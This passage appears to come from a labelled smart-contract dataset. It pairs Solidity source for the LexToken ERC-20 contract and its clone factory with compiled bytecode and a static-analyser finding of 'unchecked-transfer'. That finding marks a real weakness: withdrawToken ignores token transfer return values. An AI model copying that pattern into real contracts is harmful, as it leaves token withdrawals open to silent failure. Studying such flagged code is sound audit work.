uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string details);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata _details) external {
_burn(msg.sender, value);
emit Redeem(_details);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
} | 0x6080604052600436106101e75760003560e01c8063481c6a75116101025780637c88e3d911610095578063a457c2d711610064578063a457c2d714610c12578063a9059cbb14610c4b578063bb102aea14610c84578063d505accf14610c99576102e3565b80637c88e3d914610aea5780637ecebe0014610bb557806392ff0d3114610be857806395d89b4114610bfd576102e3565b806364629ff7116100d157806364629ff7146108e857806370a082311461092857806379cc67901461095b5780637a0c21ee14610994576102e3565b8063481c6a751461083b57806355b6ed5c1461086c578063565974d3146108a757806361d3458f146108bc576102e3565b8063313ce5671161017a57806340557cf11161014957806340557cf1146107ae57806340c10f19146107c357806342966c68146107fc578063466ccac014610826576102e3565b8063313ce5671461066a5780633644e5151461069557806339509351146106aa5780633b3e672f146106e3576102e3565b806321af8235116101b657806321af82351461050557806323b872dd1461059057806324b76fd5146105d357806330adf81f14610655576102e3565b806306fdde03146102e8578063095ea7b31461037257806318160ddd146103bf5780631d809a79146103e6576102e3565b366102e35760085460ff1661022e576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461027b576040519150601f19603f3d011682016040523d82523d6000602084013e610280565b606091505b50509050806102c1576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102e030336102db60015434610cf790919063ffffffff16565b610d27565b50005b600080fd5b3480156102f457600080fd5b506102fd610dd5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561033757818101518382015260200161031f565b50505050905090810190601f1680156103645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037e57600080fd5b506103ab6004803603604081101561039557600080fd5b506001600160a01b038135169060200135610e63565b604080519115158252519081900360200190f35b3480156103cb57600080fd5b506103d4610e79565b60408051918252519081900360200190f35b3480156103f257600080fd5b506105036004803603608081101561040957600080fd5b810190602081018135600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919390929091602081019035600160201b81111561047357600080fd5b82018360208201111561048557600080fd5b803590602001918460208302840111600160201b831117156104a657600080fd5b919390929091602081019035600160201b8111156104c357600080fd5b8201836020820111156104d557600080fd5b803590602001918460208302840111600160201b831117156104f657600080fd5b9193509150351515610e7f565b005b34801561051157600080fd5b506105036004803603604081101561052857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561055257600080fd5b82018360208201111561056457600080fd5b803590602001918460018302840111600160201b8311171561058557600080fd5b5090925090506110b3565b34801561059c57600080fd5b506103ab600480360360608110156105b357600080fd5b506001600160a01b03813581169160208101359091169060400135611194565b3480156105df57600080fd5b50610503600480360360408110156105f657600080fd5b81359190810190604081016020820135600160201b81111561061757600080fd5b82018360208201111561062957600080fd5b803590602001918460018302840111600160201b8311171561064a57600080fd5b509092509050611233565b34801561066157600080fd5b506103d46112a2565b34801561067657600080fd5b5061067f6112c6565b6040805160ff9092168252519081900360200190f35b3480156106a157600080fd5b506103d46112d6565b3480156106b657600080fd5b506103ab600480360360408110156106cd57600080fd5b506001600160a01b0381351690602001356112dc565b3480156106ef57600080fd5b506105036004803603604081101561070657600080fd5b810190602081018135600160201b81111561072057600080fd5b82018360208201111561073257600080fd5b803590602001918460208302840111600160201b8311171561075357600080fd5b919390929091602081019035600160201b81111561077057600080fd5b82018360208201111561078257600080fd5b803590602001918460208302840111600160201b831117156107a357600080fd5b509092509050611312565b3480156107ba57600080fd5b506103d46113f1565b3480156107cf57600080fd5b50610503600480360360408110156107e657600080fd5b506001600160a01b0381351690602001356113f7565b34801561080857600080fd5b506105036004803603602081101561081f57600080fd5b503561144f565b34801561083257600080fd5b506103ab61145c565b34801561084757600080fd5b50610850611465565b604080516001600160a01b039092168252519081900360200190f35b34801561087857600080fd5b506103d46004803603604081101561088f57600080fd5b506001600160a01b0381358116916020013516611474565b3480156108b357600080fd5b506102fd611491565b3480156108c857600080fd5b50610503600480360360208110156108df57600080fd5b503515156114ec565b3480156108f457600080fd5b506105036004803603608081101561090b57600080fd5b508035906020810135906040810135151590606001351515611587565b34801561093457600080fd5b506103d46004803603602081101561094b57600080fd5b50356001600160a01b031661166b565b34801561096757600080fd5b506105036004803603604081101561097e57600080fd5b506001600160a01b03813516906020013561167d565b3480156109a057600080fd5b5061050360048036036101608110156109b857600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610a0257600080fd5b820183602082011115610a1457600080fd5b803590602001918460018302840111600160201b83111715610a3557600080fd5b919390929091602081019035600160201b811115610a5257600080fd5b820183602082011115610a6457600080fd5b803590602001918460018302840111600160201b83111715610a8557600080fd5b919390929091602081019035600160201b811115610aa257600080fd5b820183602082011115610ab457600080fd5b803590602001918460018302840111600160201b83111715610ad557600080fd5b919350915080351515906020013515156116bc565b348015610af657600080fd5b5061050360048036036040811015610b0d57600080fd5b810190602081018135600160201b811115610b2757600080fd5b820183602082011115610b3957600080fd5b803590602001918460208302840111600160201b83111715610b5a57600080fd5b919390929091602081019035600160201b811115610b7757600080fd5b820183602082011115610b8957600080fd5b803590602001918460208302840111600160201b83111715610baa57600080fd5b5090925090506118de565b348015610bc157600080fd5b506103d460048036036020811015610bd857600080fd5b50356001600160a01b03166119b2565b348015610bf457600080fd5b506103ab6119c4565b348015610c0957600080fd5b506102fd6119d3565b348015610c1e57600080fd5b506103ab60048036036040811015610c3557600080fd5b506001600160a01b038135169060200135611a2e565b348015610c5757600080fd5b506103ab60048036036040811015610c6e57600080fd5b506001600160a01b038135169060200135611a64565b348015610c9057600080fd5b506103d4611abf565b348015610ca557600080fd5b50610503600480360360e0811015610cbc57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611ac5565b600082610d0657506000610d21565b82820282848281610d1357fe5b0414610d1e57600080fd5b90505b92915050565b6001600160a01b0383166000908152600a6020526040902054610d4a9082611ca9565b6001600160a01b038085166000908152600a60205260408082209390935590841681522054610d799082611cbe565b6001600160a01b038084166000818152600a602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b820191906000526020600020905b815481529060010190602001808311610e3e57829003601f168201915b505050505081565b6000610e70338484611cd0565b50600192915050565b60025481565b6000546001600160a01b03163314610ec9576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8584148015610ed757508582145b610f28576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b868110156110a9576000848483818110610f4157fe5b9050602002013590508215610fe757888883818110610f5c57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610fb857600080fd5b505afa158015610fcc573d6000803e3d6000fd5b505050506040513d6020811015610fe257600080fd5b505190505b888883818110610ff357fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061101d57fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561107457600080fd5b505af1158015611088573d6000803e3d6000fd5b505050506040513d602081101561109e57600080fd5b505050600101610f2b565b5050505050505050565b6000546001600160a01b031633146110fd576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561112460058383611ea0565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60085460009062010000900460ff166111e4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b03841660009081526009602090815260408083203380855292529091205461121e9186916112199086611ca9565b611cd0565b611229848484610d27565b5060019392505050565b61123d3384611d32565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611cbe565b828114611352576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60085462010000900460ff1661139f576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156113ea576113e2338686848181106113ba57fe5b905060200201356001600160a01b03168585858181106113d657fe5b90506020020135610d27565b6001016113a2565b5050505050565b60015481565b6000546001600160a01b03163314611441576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b61144b8282611dc3565b5050565b6114593382611d32565b50565b60085460ff1681565b6000546001600160a01b031681565b600960209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b6000546001600160a01b03163314611536576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6008805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b031633146115d1576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556008805460ff191682151517905582158015906115f05750815b156115ff576115ff3084611d32565b60008311801561160d575081155b1561161c5761161c3084611dc3565b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b600a6020526000908152604090205481565b6001600160a01b0382166000908152600960209081526040808320338085529252909120546116b29184916112199085611ca9565b61144b8282611d32565b600854610100900460ff1615611707576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a60018190555088600381905550878760059190611767929190611ea0565b5061177460068787611ea0565b5061178160078585611ea0565b506008805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b156117ba576117ba8e8d611dc3565b89156117ca576117ca308b611dc3565b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6006604051808280546001816001161561010002031660029004801561184d5780601f1061182b57610100808354040283529182019161184d565b820191906000526020600020905b815481529060010190602001808311611839575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b03163314611928576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611968576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b838110156113ea576119aa85858381811061198257fe5b905060200201356001600160a01b031684848481811061199e57fe5b90506020020135611dc3565b60010161196b565b600b6020526000908152604090205481565b60085462010000900460ff1681565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611ca9565b60085460009062010000900460ff16611ab4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610e70338484610d27565b60035481565b83421115611b04576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600b602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018b905260a085019590955260c08085018a90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611c21573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611c575750896001600160a01b0316816001600160a01b0316145b611c92576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611c9d8a8a8a611cd0565b50505050505050505050565b600082821115611cb857600080fd5b50900390565b600082820183811015610d1e57600080fd5b6001600160a01b03808416600081815260096020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600a6020526040902054611d559082611ca9565b6001600160a01b0383166000908152600a6020526040902055600254611d7b9082611ca9565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600354600254611dd39083611cbe565b1115611e0f576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600a6020526040902054611e329082611cbe565b6001600160a01b0383166000908152600a6020526040902055600254611e589082611cbe565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611ed65760008555611f1c565b82601f10611eef5782800160ff19823516178555611f1c565b82800160010185558215611f1c579182015b82811115611f1c578235825591602001919060010190611f01565b50611f28929150611f2c565b5090565b5b80821115611f285760008155600101611f2d56fea26469706673582212201ffc40f706428f9d79bd11e3b387a61ee95c3ebddc911171edf33c4bd8022ef364736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,689 |
0x3f59353034424839dbeba047991f3e54e1ad19e5 | /*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event BalanceResolution(string resolution);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, address indexed resolver, string details);
event UpdateSale(uint256 saleRate, bool forSale);
event UpdateTransferability(bool transferable);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
resolver = _resolver;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
_mint(_manager, _managerSupply);
_mint(address(this), _saleSupply);
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
require(value == 0 || allowances[msg.sender][spender] == 0, "!reset");
_approve(msg.sender, spender, value);
return true;
}
function balanceResolution(address from, address to, uint256 value, string calldata resolution) external { // resolve disputed or lost balances
require(msg.sender == resolver, "!resolver");
_transfer(from, to, value);
emit BalanceResolution(resolution);
}
function burn(uint256 value) external {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, address _resolver, string calldata _details) external onlyManager {
manager = _manager;
resolver = _resolver;
details = _details;
emit UpdateGovernance(_manager, _resolver, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
_mint(address(this), _saleSupply);
emit UpdateSale(_saleRate, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address withrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == value.length, "!token/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withrawTo, withdrawalValue);
}
}
}
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
contract LexTokenFactory is CloneFactory {
address payable public lexDAO;
address public lexDAOtoken;
address payable immutable public template;
uint256 public userReward;
string public details;
event LaunchLexToken(address indexed lexToken, address indexed manager, address indexed resolver, uint256 saleRate, bool forSale);
event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details);
constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) {
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
template = _template;
userReward = _userReward;
details = _details;
}
function launchLexToken(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale,
